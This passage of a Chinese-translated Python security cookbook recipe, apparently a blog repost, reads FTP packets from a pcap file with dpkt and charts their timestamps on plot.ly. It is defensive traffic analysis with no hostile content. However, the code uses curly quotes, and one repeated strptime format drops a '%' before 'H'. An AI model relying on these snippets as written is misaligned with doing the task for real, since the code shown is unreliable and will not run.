    if tcp.dport == 21 or tcp.sport == 21:
        full_datetime_list.append((ts, str(time.ctime(ts))))

for t,d in full_datetime_list:
    if d not in dates:
        dates.append(d)

dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d %H:%M:%S %Y”))

datecount = []

for d in dates:
    counter = 0
    for d1 in full_datetime_list:
        if d1[1] == d:
            counter += 1

    datecount.append(counter)

data = Data([
    Scatter(
        x=dates,
        y=datecount
    )
])
plot_url = py.plot(data, filename=’FTP Requests’)

工作原理…

我们首先导入必要的模块,并将我们的pcap文件的文件名分配给一个变量:

import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime

filename = ‘hbot.pcap’

接下来,我们设置我们将在迭代pcap文件时填充的列表。Full_datetime_list变量将保存所有 FTP 数据包的日期,而dates将用于保存完整列表中唯一的datetime

full_datetime_list = []
dates = []

然后我们打开pcap文件进行读取,并在for循环中迭代。这一部分检查数据包是否是 FTP 数据包,如果是,然后将时间追加到我们的数组中:

for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):
    eth=dpkt.ethernet.Ethernet(pkt) 
    if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
        continue

    ip = eth.data
    tcp=ip.data

    if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):
        continue

    if tcp.dport == 21 or tcp.sport == 21:
        full_datetime_list.append((ts, str(time.ctime(ts))))

现在我们有了 FTP 流量的datetime函数列表,我们可以从中获取唯一的datetime函数,并填充我们的dates数组:

for t,d in full_datetime_list:
    if d not in dates:
        dates.append(d)

然后我们对日期进行排序,以便它们在我们的图表上按顺序排列:

dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d H:%M:%S %Y”))

然后,我们只需迭代唯一的日期,并计算在那个时间段内从我们的较大数组中发送/接收的所有数据包,并填充我们的计数器数组:

datecount = []

for d in dates:
    counter = 0
    for d1 in full_datetime_list:
        if d1[1] == d:
            counter += 1

    datecount.append(counter)

剩下要做的就是通过 API 调用plot.ly,使用我们的日期数组和计数数组作为数据点:

data = Data([
    Scatter(
        x=dates,
        y=datecount
    )
])
plot_url = py.plot(data, filename=’FTP Requests’)

当您运行脚本时,它应该会弹出浏览器到您新创建的plot.ly图表,如下所示:

工作原理…

就是这样。plot.ly有很多不同的方法来可视化您的数据,值得花点时间去尝试一下。想象一下当老板看到您发送给他们的漂亮图表时会有多么印象深刻。

posted @ 2024-05-04 14:55  绝不原创的飞龙  阅读(31)  评论(0编辑  收藏  举报